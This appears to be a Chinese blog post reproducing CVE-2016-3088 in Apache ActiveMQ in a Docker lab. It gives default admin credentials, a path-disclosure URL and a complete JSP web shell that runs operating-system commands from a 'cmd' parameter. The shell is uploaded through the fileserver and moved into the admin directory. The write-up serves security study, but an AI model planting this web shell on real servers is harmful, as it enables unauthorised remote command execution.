activemq:CVE-2016-3088

1开启靶场

docker-compose up -d

2.影响版本

Apache ActiveMQ 5.x~5.14.0

3.漏洞复现

浏览器访问靶机,访问8161端口

http://192.168.200.168:8161/

浏览器访问/admin/index.jsp?printable=true  查看版本信息,用户名和密码默认都是admin

http://host:8161/admin/index.jsp?printable=true

访问/admin/test/systemProperties.jsp页面查看activemq的绝对路径

使用burp抓包

.修改post传参,写入文件

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>

访问1.jsp

http://192.168.200.168:8161/fileserver/1.jsp

访问成功,写入文件成功,但是没有执行代码,将1.jsp移动到、admin目录下

访问admin目录下的1.jsp

http://192.168.200.168:8161/admin/1.jsp

  • 7
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值